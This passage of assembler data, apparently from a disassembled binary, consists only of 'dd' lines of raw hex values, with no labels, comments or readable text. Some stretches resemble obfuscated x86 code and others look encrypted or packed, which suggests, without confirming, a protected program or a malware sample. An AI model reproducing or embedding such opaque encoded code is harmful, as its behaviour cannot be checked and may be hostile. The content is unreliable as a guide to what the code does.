		dd 2E81060Fh, 9F49D689h, 3F2426BDh, 4621480Fh, 482C6Ah
		dd 0B3770000h, 0BCD2C386h, 0BB995988h, 198D1961h, 0E16E21C6h
		dd 0BCBE5537h, 6DB0A7A7h, 27C46A47h, 0F000000h,	0D73D530Ch
		dd 8AB581A9h, 93A84D7h,	243594Ah, 33BB9959h, 6749F380h
		dd 0B955CED0h, 6A476A9Eh, 14D6h, 1AAF2100h, 0FDB581C5h
		dd 0C5E1C40Ch, 37055835h, 0FFFFFF36h, 0DF86B39Ah, 0C1E0871Bh
		dd 0B9704DDDh, 6A3D97DFh, 774C6379h, 0CE81BB99h, 961095DDh
		dd 22382906h, 4C69D6FAh, 0D969BC6Fh, 990D96DEh,	8FD92C09h
		dd 98AE9F62h, 427126AEh, 4944D487h, 1E477CAh, 69BCBA4Eh
		dd 0FB11121Fh, 4651F815h, 8B159548h, 0D3A68313h, 98069AE2h
		dd 233E5445h, 58484908h, 0E5FBB4A5h, 58390B3Fh,	0A7FF7F32h
		dd 3F926FFFh, 79F064Eh,	4B0E3B4Fh, 0FB79445Ah, 7B2E5621h
		dd 4462428Ah, 9C849A53h, 0D152215Bh, 5813CB1Eh,	9588E0D9h
		dd 29069610h, 4040CE72h, 7D8A9FEDh, 0C1E0AA08h,	0C6DB25DDh
		dd 0C7F448D8h, 8FD1304h, 2DF4EACAh, 0C6DE465Ch,	3393FCE6h
		dd 0C6A33373h, 69020F3h, 0EF79099Dh, 775DEDB1h,	0FDFE67Bh
		dd 0DFC2160Bh, 0E7BD07BFh, 0A52FBFh, 0C9D03FC2h, 8E619003h
		dd 592F74FEh, 0E6CFDD43h, 0ADD90FCh, 0CB6F07Ah,	7D8F6F15h
		dd 8818EB83h, 8B160BCDh, 8D5766CDh, 6718EB3Ah, 32EBBCA5h
		dd 9BE9B5EAh, 0FCE67975h, 62E235E8h, 62AC6442h,	40D46442h
		dd 0CF543860h, 25CBE19Ah, 18FCE679h, 56E2D881h,	0A97C9B1Ah
		dd 0D8CED656h, 9BB3C320h, 7E50CFC0h, 3D613F72h,	6192F386h
		dd 8CDFBFE1h, 6F2F72FCh, 64FDF9DFh, 3FF7C4EAh, 65F2ACF5h
		dd 0D9B4D8BBh, 0D8CED820h, 0F71D6B48h, 6AB58183h, 0F16A64B7h
		dd 641E8021h, 93238322h, 8183D53Bh, 0C0595DB5h,	0DD2D9510h
		dd 0F1176BE1h, 0B4FEB689h, 2B26B6F0h, 0CFFC3E3h, 1D749681h
		dd 0A27F0FE2h, 0AA24014Fh, 0A2A6B581h, 8F69E8B9h, 81C8093Dh
		dd 0FF8F178Dh, 7CFC4F22h, 0AEC67E28h, 0B581D281h, 0C31C3C88h
		dd 735A642Fh, 0A5FFFFFFh, 0C27A247Dh, 0E8752978h, 0B8455948h
		dd 9F73E8A4h, 0D4E29C02h, 642FBE83h, 3BF1h, 8D0C3C00h
		dd 7C7EBF00h, 4D97EA0Eh, 65CF793Ch, 0E5947749h,	3B0B2112h
		dd 0FABB9923h, 2D10BA47h, 2CDA3FFBh, 354B3C1Fh,	42719311h
		dd 911590D8h, 2CD12401h, 472FBF79h, 92000000h, 0D2C386B3h
		dd 88186019h, 5BA98616h, 0B581A9B5h, 2E75F5A8h,	0EFD72578h
		dd 0C6BB9959h, 80DC8613h, 16302923h, 0AF208E5h,	3F4C69F8h
		dd 585BDEA8h, 60338DC5h, 40869C8Dh, 2942713Ch, 50E0BEE1h
		dd 0C87B2073h, 0C40CB90Eh, 5431C1DDh, 7E208101h, 4660458Dh
		dd 0F686D9B6h, 7869356Ch, 0A943A9BFh, 43F6B581h, 0A9D43C52h
		dd 0D689B581h, 8AB7CB83h, 0D7C0D6C7h, 80BB93C5h, 4D208620h
		dd 678DA35Ch, 0DA4C6C4Ch, 0EC44D427h, 4C6C4C38h, 0DA8F9490h
		dd 2921492h, 0D186D225h, 0A36A41D5h, 3Eh, 46584890h, 0F386D9B6h
		dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 0FAF7AAF2h, 9626F9A5h
		dd 0CC1866B9h, 0BC4C6C41h, 0D9C810C9h, 419177C5h, 11C44C6Ch
		dd 0AF5FC4BEh, 6A41D6A8h, 0F2CCh, 247D1700h, 70EFEA7Ah
		dd 0C4B9E42Bh, 7F80524Ah, 0AB21390Ah, 9E0585D8h, 0B3EE7808h
		dd 0D0D15BEBh, 1195DDCEh, 0D5280595h, 10E3621Dh, 0A24A6078h
		dd 97B581F7h, 93EF2DE4h, 1DBC0A5Dh, 67B58194h, 0F1AC643Ah
		dd 9CFA2238h, 0BC6FB581h, 0E6B8E969h, 69376F5h,	2808BA1Dh
		dd 0CB4A45D5h, 0FE243E96h, 0BF095C34h, 25DECFB2h, 289BAAA6h
		dd 6594DE7h, 93E8C3B8h,	0D0C174BBh, 0F8881E88h,	0FC10C81Bh
		dd 621B0CCFh, 0AB6D93A9h, 2DE04C6Fh, 5AD68CDAh,	0B4674278h
		dd 7E287BC3h, 408C0BC6h, 54F1BE90h, 23800053h, 0DA28C583h
		dd 821A3ADAh, 1D7AAh, 0A0FEA400h, 9F079EE8h, 9D099DE7h
		dd 99059BE5h, 9A0C97E1h, 7FE72E2h, 8520A9Ch, 54F0797h
		dd 54F079Fh, 2A4A029Ch,	6FF3192Fh, 0E866B396h, 80267D6Bh
		dd 488E0DC8h, 0C0BCC27Eh, 5A47C71Ah, 0C2F8C44h,	0A9D73D53h
		dd 0D78AB581h, 4A093A84h, 0C1864359h, 4B7BB93h,	41C81C74h
		dd 0CDC04C6Ch, 0F5852185h, 56CBC518h, 0C7D7C911h, 0D72F2874h
		dd 0CE166A41h, 0B87ACDD1h, 0D9h, 0CD247D03h, 0E017CED8h
		dd 1135A9Dh, 840E9E71h,	9FF7871Fh, 0B5817630h, 8F47574Ah
		dd 0B2425C45h, 800038B7h, 7CE40A7Eh, 42D2DF29h,	7F704363h
		dd 93771069h, 1591D9BBh, 57E7BFE4h, 3A17A77Ah, 0E4586683h
		dd 0D72A65C8h, 0CC77F32h, 0A5D73D53h, 0D78A4C6Fh, 0A528D0E6h
		dd 6A1D4C6Fh, 0DDBCCD17h, 583BD6ECh, 5D104278h,	277F246Ch
		dd 0A7E256Fh, 58C80CF4h, 0BB8E4146h, 0DA5016FDh, 0D8B0483Ah
		dd 0D8h, 0E79FFFA3h, 0E69E089Dh, 0E49C0A9Ch, 0E098069Ah
		dd 0E1990D96h, 9B08FF71h, 9609530Bh, 9E065008h,	9B065008h
		dd 302B4B03h, 966EF21Ah, 6CE967B3h, 965E8D0Ch, 8CBE2EE8h
		dd 0BCEAB939h, 0B7E7BA04h, 49C544FFh, 0FCA2FEA8h, 0B7DB3945h
		dd 0A5048976h, 0ED401300h, 7A247D5Ah, 5D4160EAh, 58465BA5h
		dd 89DE5A0h, 0DE310E9Eh, 6A5B435Eh, 33248222h, 81A9F71Dh
		dd 64B76AB5h, 96E7CD4h,	5C58E0C9h, 108E13C7h, 0A850661Fh
		dd 9D613908h, 95DF97EAh, 59A1920Ch, 0EDCA5A4Ch,	20800A9Ah
		dd 5C458D7Eh, 82D5B242h, 0BE3B68F2h, 4F2CBCE2h,	4162EC7Ch
		dd 2244D565h, 0B2B68639h, 663869A9h, 7EA6BC75h,	0F3613908h
		dd 0EB35ED40h, 0AFF7E8B6h, 0C959ACF2h, 3F1h, 13AE5400h
		dd 0E979257Dh, 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh
		dd 6BFBABF8h, 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 25CA6839h
		dd 8F540000h, 4832404h,	89530424h, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2434895Ch, 3B4E68h,	241C8900h, 0A5064DBEh
		dd 0C0E68146h, 8166AA39h, 195916EEh, 9ABF5736h,	2905923Ah
		dd 0C6815FFEh, 139C1D5Ah, 275CC681h, 0EC83E787h, 24248904h
		dd 4240483h, 6E0F685Bh,	34890000h, 8438F24h, 5B2434FFh
		dd 4C481h, 348B0000h, 0E0895024h, 405h,	4C08300h, 5C240487h
		dd 0FB824DE9h
		dd 77456DFFh, 8D6ADC23h, 23B8988Ah, 30617C8h, 7DE0FFC5h
		dd 3878B9A6h, 0AC4233A8h, 1C2A8B4Dh, 0B2491A1h,	9A3B1006h
		dd 30308BE0h, 0AE35A2F7h, 0CF447667h, 8B6BF54Ch, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0EE44DA86h, 6635BD32h, 0B6E34DBBh, 91BD83D3h, 6121Bh
		dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h,	3FCh, 858589h
		dd 9D8D0612h, 614AE0Fh,	585BD3FFh, 17DDBD83h, 74000612h
		dd 0B8535017h, 3FCh, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh
		dd 6890Fh, 0D2810000h, 33812550h, 2820Fh, 0FEB70000h, 0E680C08Bh
		dd 0ADBD83E9h, 1061207h, 6F840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F4B3FC3h
		dd 688h, 0BFDA8100h, 8340291Dh,	120971BDh, 850F0006h, 39h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h
		dd 0CD7813BDh, 0BD836B39h, 6120D99h, 51840F00h,	0E9000000h
		dd 5, 4F748EDBh, 31FE9E8h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 7DC3h, 0DD8A0000h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4CC35545h
		dd 0CD1320CBh, 7C1476FEh, 0B6CEC5AEh, 0B6A72B8Ah, 0E884C36Eh
		dd 0C22D9DF4h, 0F225C7BFh, 0B6B2C7E9h, 0E0E2C3E6h, 7C5A61B0h
		dd 3B7B7CB6h, 0A3ED4559h, 7425A568h, 665BC64Eh,	206301Ah
		dd 0B24D8205h, 0DCA4C3E2h, 0B54C9073h, 96A4C3B9h, 3FFF0087h
		dd 37A0E732h, 0ABA0E773h, 0F5A4C39Bh, 0A62F009Eh, 0A423371Bh
		dd 4EE77BFBh, 5F7574B6h, 0B6A4C3CEh, 5FF4A511h,	0C0D402ABh
		dd 0DF3A0FAEh, 77B48DDh, 5EF1391Dh, 0B6A4C373h,	4942E4h
		dd 0D0A2D416h, 0F60F20EFh, 0B6A74338h, 4AF3C39Bh, 0D6644896h
		dd 0B6A748E9h, 3DC2C373h, 0D7FB9549h, 0E91FA54Ch, 612F931Dh
		dd 0E0A4A9A7h, 0B6A4C073h, 75FAE3CDh, 92D04AB8h, 92E04277h
		dd 0B6A4D7BDh, 75F285DCh, 0B8664244h, 0B9E5D1A3h, 48808F9Ah
		dd 5EF6C3A7h, 0B6A4C3E5h, 0EC679953h, 0B2809730h, 0B280875Dh
		dd 0B6A4C37Bh, 70679175h, 0B6CE9B48h, 0B6A72B9Eh, 0ED84C3E6h
		dd 0EA2D98B0h, 0F225C79Dh, 0B6B0C7F8h, 0E5E7C36Eh, 0BAA1F8F4h
		dd 0DA4C399h, 0B805879Dh, 0B6CECB6Dh, 0B6A72B23h, 0EE84C3B9h
		dd 0F22D9B1Fh, 0F225C74Ah, 0B6BFC713h, 0E6E4C39Bh, 0FAC1260Eh
		dd 0CBB6197Ah, 0B321CCCFh, 0DA4C3B9h, 8314350Ah, 3DC2983Eh
		dd 0BD4D3F7Fh, 0B8A4C39Bh, 15BDF376h, 70D84F2Ah, 0B71C5A09h
		dd 0E1A4C3B9h, 0CA774386h, 652FA5FFh, 278C7067h, 5EF6C3F1h
		dd 0B6A4C3CEh, 0EC6799C6h, 0B28097FAh, 0B2808738h, 0B6A4C3C8h
		dd 4167912Ch, 0E822578Dh, 6F28A5D3h, 5EF7C3A7h,	0B6A4C3E5h
		dd 0ED679853h, 0B2809F30h, 0B280875Dh, 0B6A4C377h, 0D0679074h
		dd 0E1A78FE9h, 0B6AA2A41h, 0F90C3E6h, 5734F5AEh, 1C9FC4A8h
		dd 16A87936h, 0B9A00298h, 0B6A454B2h, 4BAB789Bh, 0FD96DEh
		dd 0DE9D4381h, 0B651467Ch, 37C2C3B9h, 3D92B83Eh, 662FC217h
		dd 0B6A43CB6h, 34AB439Bh, 0B6A4C312h, 3363156Dh, 0B0B3097Fh
		dd 0B6A4C3B8h, 367774D3h, 7C4D828Dh, 0DCA4C337h, 0B54C929Bh
		dd 96A4C3CDh, 3FFD00BFh, 37A0E73Fh, 0AEA0E7FDh,	0F7A4C3DCh
		dd 4E1003Fh, 0E444D247h, 0B6052AC0h, 0B6CEC3CDh, 0B6A72BB1h
		dd 0E984C373h, 0CA2D9C7Ah, 0F225C7F8h, 0B6B3C74Ah, 0E1E3C337h
		dd 36F75558h, 0B6AA2AE3h, 0A06DC3E6h, 990CA99Ah, 1E37D4F1h
		dd 32D5DA62h, 0E3A4A937h, 0B6A4C0DFh, 75F9E39Bh, 92C84A90h
		dd 92E042E2h, 0B6A4D977h, 75F186B9h, 0B2F408C0h, 0D030957Bh
		dd 49AFBAB4h, 0B6E54794h, 0B6CEC3CDh, 0B6A72BB3h, 0EB84C373h
		dd 0DA2D9E7Ah, 0F225C7F8h, 0B6BCC74Ah, 0E3E1C337h, 0F1823658h
		dd 0B9C49E12h, 9AB0551h, 5FF2A284h, 0B6A4C3B1h,	8F7E0E77h
		dd 49549D34h, 0BA21046Ch, 0B7A2D451h, 0FEA4C3CDh, 40147A1Fh
		dd 3329B72Eh, 0B0B30D7Dh, 7B8F7E51h, 4E9FC579h,	0B994C443h
		dd 5DE30A4Ah, 0E6A4A938h, 0B6A4C00Eh, 75FCE373h, 92E04AE1h
		dd 92E042D8h, 0B6A4DE6Ah, 75F48337h, 3893976h, 2938BC4Eh
		dd 36C49E85h, 0B9F77298h, 0D7FD3A0Eh, 0B27106Ah, 0B0B6C4C3h
		dd 0F620CC36h, 0DCA4C39Bh, 0B54C92CDh, 96A4C3E6h, 3FFD002Ah
		dd 37A0E7F5h, 0A0A0E798h, 0F7A4C36Eh, 67830066h, 0C719403Bh
		dd 0B6A2D1C4h, 0B6B146E9h, 0CC2C373h, 0B2796DCh, 0B0B6CE45h
		dd 0A520CC6Eh, 0D0A4C337h, 5F94E521h, 0B6A4C30Ah, 1E5642B5h
		dd 0ECC5DACAh, 0B27C10Bh, 0B0B6C471h, 1521CC6Fh, 0DCA4C337h
		dd 0B54C959Bh, 96A4C3CDh, 3FFA00B8h, 37A0E707h,	0ACA0E7FDh
		dd 0F0A4C3DCh, 47190038h, 0A4BF6965h, 0C56796Fh, 0DCF9FF83h
		dd 0B54C92E6h, 96A4C373h, 3FFD00E0h, 37A0E790h,	0ADA0E72Ah
		dd 0F7A4C337h, 55D800CAh, 0E540DC93h, 0DC67FAC8h, 0B54C9473h
		dd 96A4C3B9h, 3FFB0083h, 37A0E712h, 0AAA0E773h,	0F1A4C39Bh
		dd 0CC51009Ah, 0AEA6E550h, 0C49152Ch, 0B17F6BFDh, 0B6A4F535h
		dd 0E7A4A96Eh, 0B6A4C0DFh, 75FDE39Bh, 92E84A94h, 92E042E2h
		dd 0B6A4D577h, 75F582B9h, 5FC1BD29h, 0B6A4C368h, 6462672Ah
		dd 37F908DCh, 6FDF100Fh, 36F70CDAh, 3BFEE4A8h, 0A16EF104h
		dd 27294EDAh, 0EA2D4A0h, 0CD9E9F2Ah, 0A52146A8h, 798FC5DFh
		dd 2E40147Ah, 7D3329B7h, 51B0B30Dh, 797B8F7Eh, 434E9FC5h
		dd 4AB994C4h, 835DE30Ah, 0A4F305E9h, 0CA0CBD83h, 74000617h
		dd 0B58D8D0Dh, 0B806124Dh, 1, 0F40E1FFh, 1C81h,	16860F00h
		dd 0E9000000h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h
		dd 0D381664Fh, 6A785Ch,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0FBC7F4C3h, 19AC6320h, 0D3BF0FA7h
		dd 6A2DE883h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 8B39C357h, 0C08B8636h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B9C35040h, 0E590BA66h
		dd 0B4A2F3Ah, 91BD83D8h, 6121Bh, 0BD830975h, 61217DDh
		dd 50197400h, 0B8C08B53h, 3FCh,	22958589h, 9D8D0612h, 614AE76h
		dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h,	3FCh, 22958589h
		dd 9D8D0612h, 614AB17h,	585BD3FFh, 6850Fh, 0DA810000h
		dd 1DD59F59h, 8BDA8B66h, 0EE8C0h, 76DD0000h, 2C08FF38h
		dd 96E20D3Dh, 0ACBC2AA2h, 5FC28B66h, 81F3BF0Fh,	731EC7h
		dd 12E900h, 0D020000h, 61BF4F81h, 67261554h, 737D13D0h
		dd 87A9F9Dh, 0B5F2B8BBh, 1AEB817Ah, 0E97AB5D6h,	0Ah, 0D521495Dh
		dd 0D88ACDDBh, 0F8B1621h, 0F181C38Bh, 473A2D8h,	0C181D58Ah
		dd 3F65F938h, 0C181E78Ah, 0FAEA041h, 0C38B51F9h, 0F08B078Fh
		dd 6604EF83h, 4BB1CABEh, 19850Fh, 29E90000h, 72000000h
		dd 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh, 1E87F036h,	665EF87Ch
		dd 0E9E484BAh, 0FFFFFFAEh, 8A9F2DD4h, 0EAEC132h, 0CAD25BA3h
		dd 2AE9h, 6052D00h, 1Bh, 8 dup(0)
		dd 0E9000000h, 0BA4h, 17D21D68h, 7A54E906h, 0FA68FFFBh
		dd 0E90617D2h, 0FFFB7A4Ah, 17D45568h, 7A40E906h, 5F68FFFBh
		dd 0E90617D5h, 0FFFB7A36h, 17D86568h, 7A2CE906h, 0C768FFFBh
		dd 0E90617D9h, 0FFFB7A22h, 17DAC768h, 7A18E906h, 455DFFFBh
		dd 4E57A159h, 5056A058h, 4C549E56h, 53509A52h, 452B9B53h
		dd 0DC5E1C2h, 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h, 2CD4EAE5h
		dd 21B39679h, 247D26A3h, 3BCBD3CDh, 71FB8B5Eh, 0A2B66E30h
		dd 0ABC1B291h, 0BB93C5CAh, 0E980B6Bh, 12914A3Bh, 0B6C3E045h
		dd 22CA18C6h, 174C6C35h, 35C83046h, 0CA7D4C6Ch,	0BC14A4F7h
		dd 4C6C3568h, 1F877232h, 9A24B487h, 2F0C9C0Ah, 788EF2AFh
		dd 4C6C3590h, 0AF3F12C5h, 0E1277F25h, 0CF21A4BDh, 99BE4ED3h
		dd 0DB6A421Eh, 2Fh, 0C386B326h,	0C10FBCD2h, 7D30BB93h
		dd 415395EDh, 960B4C6Ch, 0B6EE7808h, 828660F0h,	36683999h
		dd 0C151163h, 41D65700h, 0B21D6Ah, 7D680000h, 60EA7A24h
		dd 49D36343h, 2CB64658h, 0FAC44575h, 0C6226852h, 0DE233BF3h
		dd 0B4B58156h, 79F04EDh, 5A180016h, 9A4DB581h, 0DCC50FC7h
		dd 8352D1C2h, 0C2A60D5Ch, 0CD21B104h, 0A4ECDDBCh, 3613A3FBh
		dd 0B7DCF2E3h, 0A8BB9303h, 18293DF5h, 0C1583755h, 7BE224Ch
		dd 65CA3D50h, 1304D76Ch, 78141AFDh, 9B8C3F42h, 9E565053h
		dd 99574F54h, 3ADAC46Ch, 6716EE86h, 9A000009h, 94DE9608h
		dd 93DD9511h, 91DB9313h, 8DD78F0Fh, 68D89016h, 0A6FD08h
		dd 0FDA1FE48h, 0FDA9FB45h, 0F8A6FB45h, 0F252040h, 0B3967BE9h
		dd 7D61DE5Ch, 7EC88026h, 66C37B23h, 0D2C386B3h,	0A24A6019h
		dd 97B581A9h, 864391E4h, 0B7BB93C1h, 0C6564857h, 6C2516E9h
		dd 6C41AE56h, 9DF0A34Ch, 4173B50Dh, 5D594C6Ch, 0B224A3C4h
		dd 4EC02A9h, 394C6C39h,	39EFCF86h, 95C20E61h, 0DF6A41EEh
		dd 9Ah,	0DDC40C2Ah, 0B3EE6EC1h,	0D2D15BEBh, 14944D4h, 9370009Eh
		dd 0AE29F240h, 1E83B581h, 42D2CCD3h, 5D37AE65h,	961F34B1h
		dd 0E0C10BC3h, 0A9DA2EBEh, 0BEE3F9EAh, 0AF446C5Ch, 33044FCh
		dd 0E9394F40h, 8C427BA2h, 3A0E8D9h, 20F3ABF6h, 21851E68h
		dd 0DA1A1463h, 0D6AE463Ah, 88Ah, 0BB732B77h, 0BA723471h
		dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh
		dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 967B06EEh,	40BD3BB3h
		dd 0C880267Dh, 0C4DAC50Dh, 0EEB0F171h, 247DD936h, 4160EA7Ah
		dd 0A9C3293Fh, 0C376B581h, 172438F0h, 0A6FB4334h, 6CCAE214h
		dd 683B16CDh, 0B7A8FBD8h, 0B5E9B6FEh, 0A7F54825h, 0BB9303C2h
		dd 50CFC073h, 9A7D59EFh, 5C4A5BA1h, 0C91CEFCCh,	0FFF2AF39h
		dd 8F6CFCA2h, 0E7BA04BCh, 0CFCF27B7h, 0BFB0EBFAh, 852184CCh
		dd 0EF233832h, 0EA34ECB2h, 0FF57E7B7h, 0D3EBBD26h, 0D0918AAEh
		dd 5A5ACC51h, 0FD50CDEEh, 0C27A247Dh, 0E5752978h, 0EB0C5E8Dh
		dd 7ADF01D3h, 0DB930B96h, 0FE8E1091h, 0C9BA99AAh, 0F97ED2B3h
		dd 0F8B063DDh, 3F4D7E4h, 0CBC56CEDh, 703191DBh,	0C412FA10h
		dd 9447EFC7h, 65EEEC1h,	0EFC7C421h, 98B4ADA9h, 9E94DBFh
		dd 4B8B5h, 0BB730000h, 80715061h, 0A7376738h, 708677CAh
		dd 0BB93D227h, 64AC9D50h, 0FAD7673Fh, 0A0DDEDA7h, 0F06BBCACh
		dd 0C70F00C3h, 8677CADCh, 8DCCA770h, 8D1DD0A6h,	58490839h
		dd 98000142h, 928336ACh, 0F548564Ah, 9C034B04h,	42957202h
		dd 7BFDFC2h, 0FCBAE4BDh, 0D9FAF8E7h, 2F653DD5h,	0D2000007h
		dd 0CC16CED0h, 0CB15CDD9h, 0C913CBDBh, 0C50FC7D7h, 0A010C8DEh
		dd 386E35D0h, 35693680h, 3571337Dh, 306E337Dh, 475D5878h
		dd 0B3967DA1h, 7D991694h, 0CED8CD24h, 0F1706BFBh, 673C118Bh
		dd 1BD2AF3Fh, 4A9D402Bh, 32E6DCCAh, 542FC0FDh, 67F7AFF4h
		dd 2CE4B78Ah, 0E094h, 84B3F700h, 0DB2334C1h, 8ADDC9h, 198D1868h
		dd 90788E89h, 0C5B581A9h, 94129212h, 39221E04h,	0EE362F86h
		dd 41653EB3h, 38211B6Eh, 2FBA4B0Ch, 642964h, 0B3740000h
		dd 0BAD0C184h, 0B581A96Dh, 3DC7570Ah, 0C7823A64h, 0EC7C227Fh
		dd 653CBC0Fh, 66AEA939h, 0BFE7BC3Dh, 2C7F522Fh,	1F2D1E2h
		dd 93CA2AEBh, 0A7984BBBh, 0CE5E405Fh, 0B20E9EF1h, 0B6A1ADB6h
		dd 0BE6A41D5h, 1Eh, 654163ABh, 530C7F12h, 81A9D73Dh, 0A3B98AB5h
		dd 0B581A97Dh, 176A3DF0h, 0FF49h, 86B3AC00h, 0FFBCD2C3h
		dd 0A0BB93D6h, 85342FEDh, 66FE30EEh, 6258Eh, 0D8C6DC00h
		dd 0D7CFD620h, 0D5D1D51Fh, 0D1CDD31Dh, 0D2D4CF19h, 3FC6AA1Ah
		dd 408A4264h, 3D873F5Fh, 3D873F67h, 62823A64h, 7CAB5167h
		dd 209EB396h, 0C184B3A3h, 0FC418A34h, 3E368403h, 0F93F44C0h
		dd 3728FBABh, 817FFB21h, 68BB6EB5h, 0FE59F56Eh,	76642EE8h
		dd 75h,	18861B63h, 84B332C5h, 117D0C1h,	0B581A91Bh, 0BB489B4Eh
		dd 8881C611h, 0F256340h, 0B581A9E9h, 46D6A95Ch,	71C1669h
		dd 2FBE5007h, 432464h, 0B36F0000h, 8A34C184h, 0ACFAAA6Ah
		dd 0E50B211Ch, 58B581A9h, 258125A5h, 0A2B7BB95h, 59C2C41Bh
		dd 81B140ABh, 6D93A9B5h, 0E04A7E51h, 0EA695A2Dh, 861F5F5Ah
		dd 0E7876920h, 256A2F5h, 7464302Eh, 0FFFFFE86h,	0C184B3BFh
		dd 0D36A8A34h, 0CF1748D1h, 613ECED0h, 0BE95C20Eh, 6ADF642Fh
		dd 2A000002h, 8F80267Dh, 0F74A5C47h, 0F7C3DD67h, 0AD5DC0DFh
		dd 19F1F79h, 0B03ACA9Dh, 3A303F6h, 8916A030h, 11358515h
		dd 9D997508h, 574F5484h, 1B65E49Fh, 0DA5D9546h,	0B7EC6CBFh
		dd 0FE0B5FEFh, 0F2712A1Bh, 9114F853h, 0F1A88515h, 24775915h
		dd 93E809D6h, 0FB8B3EBBh, 0D4041D21h, 0D51FD7CFh, 9FE7D8CEh
		dd 3512A204h, 2EFA52E2h, 704C6FBBh, 56E07036h, 0DDC3534Bh
		dd 112778E1h, 4C6FB9EBh, 92D8AB5Eh, 0FBB4F56Eh,	6FB93FE5h
		dd 0CED2324Ch, 2AAAFDD0h, 2B752D79h, 4A9E2E78h,	53695A39h
		dd 427DAF0Ah, 677D36EFh, 465A5381h, 4DB301B4h, 465A53h
		dd 0A255FA4Dh, 60762FEAh, 465A53B8h, 5DA7FAADh,	0C37C6D2Ch
		dd 307E287Bh, 465A53C8h, 8677CA7Dh, 48211770h, 0DD6D2048h
		dd 9A0C9AE2h, 8CDA2D0Ah, 58486164h, 10F1438h, 623C64F0h
		dd 0FF889E8Fh, 38565A13h, 0D9159485h, 0AE425732h, 5FA961B4h
		dd 42CC5C42h, 0CC873F5Fh, 0F1811D84h, 92653967h, 58C4F53Fh
		dd 0EECB5B4Bh, 29712A1Bh, 0DF30977h, 405236FDh,	1967BA8Dh
		dd 5C24917Ch, 9B9626D9h, 3BB0C11Ch, 88DB0F6Dh, 245CEE3Ah
		dd 0AFEFB054h, 970F951Fh, 30292D07h, 0DA3F3B8Dh, 89C62D2Ah
		dd 5C4782h, 0B5340000h,	84C0FE36h, 93E684h, 0D73D530Ch
		dd 8AB581A9h, 5A2D792Ah, 208CBD07h, 5F502383h, 93C1F849h
		dd 7A0ABDBBh, 8D6C377Fh, 20FD8D19h, 8DE0BD4Dh, 6C41E53Fh
		dd 37F0E34Ch, 5FEFB7EFh, 41CC3482h, 0CE814C6Ch,	0FD50564Eh
		dd 69EE1E03h, 0DC6A41D6h, 3F920C94h, 0A77Dh, 247DC800h
		dd 0A7EFEA7Ah, 32E0C5FDh, 3756D56Eh, 0A4F7D464h, 97277F24h
		dd 5452549Ch, 1494E7C4h, 0F781118Dh, 813CF4AAh,	4F05C102h
		dd 82D57873h, 81E0EF34h, 0C2DCC5B5h, 6C5F60Ah, 1CA1FF15h
		dd 988BB96h, 0F2BBBE3Dh, 44947029h, 0CC096A12h,	4E01A6F9h
		dd 188E155Dh, 358D1660h, 0A27C79F2h, 6F2D00EEh,	30E8950Eh
		dd 1FC49C34h, 0E2000003h, 0DC26DEC0h, 0DB25DDC9h, 0D923DBCBh
		dd 0D51FD7C7h, 0B020D8CEh, 485E45C0h, 45594690h, 4561438Dh
		dd 405E438Dh, 576D6888h, 0B39671B1h
		dd 7DA926A4h, 7EC88026h, 66C37B23h, 0EA7A247Dh,	293F4160h
		dd 0B581A9C3h, 38F0C376h, 7A247DDBh, 0B04160EAh, 421FAFEFh
		dd 96A3B76Fh, 0CBACC2B3h, 6CBB93C5h, 4C9F859Bh,	1FD24C6Ch
		dd 8064BC4Ch, 0DA4C6C4Ch, 0C24CDCCAh, 0E030C0DEh, 0CE20A7BCh
		dd 9ABD49D2h, 0DA6A41D5h, 35h, 4D8D0C25h, 216CDBB5h, 0C3D87DAh
		dd 85465C4Dh, 0BABB93C9h, 0C51F7707h, 954C6C59h, 7C069610h
		dd 12EC7C2Ah, 2072150Eh, 480F3F24h, 2C6A41CEh, 0F4h, 7A247D77h
		dd 52BAD089h, 7B581A9h,	76710154h, 3CDF77F7h, 58863D69h
		dd 0F373C68Ah, 0DC66F6B0h, 0A0E8D9C5h, 320F9FFFh, 0D5544FDFh
		dd 98FD1173h, 37B70A2Dh, 647C346Ah, 0B5817A9Fh,	3AF2ACF5h
		dd 13C4007Fh, 7A0A1C42h, 28E8AAC3h, 0ACFF0AA1h,	3829752Ch
		dd 0F1B5F0h, 810802EAh,	318437B5h, 5D3C4DA1h, 6D3D566Ch
		dd 5F12BB93h, 287E266Eh, 0B068BB98h, 0BBAC6F9Ch, 7826CDA5h
		dd 0DCCD8042h, 0DF970F94h, 0AF556B24h, 0A2465879h, 7955BBD1h
		dd 55084658h, 0F4AF2F82h, 819DF4B2h, 17AF3ADAh,	1BD3Fh
		dd 405E4400h, 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h
		dd 0A75E1282h, 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh
		dd 7053B9CFh, 8806B396h, 0E1C40C0Bh, 0B1F272C5h, 0E4BC04F5h
		dd 0FA4D2ABAh, 0B8CE8742h, 0B581A950h, 7FFF5205h, 67C47C22h
		dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 6C415395h, 25950B4Ch
		dd 0FA3E46B0h, 9996CF1h, 0F080267Fh, 0C26D482Fh, 7E2FE8BDh
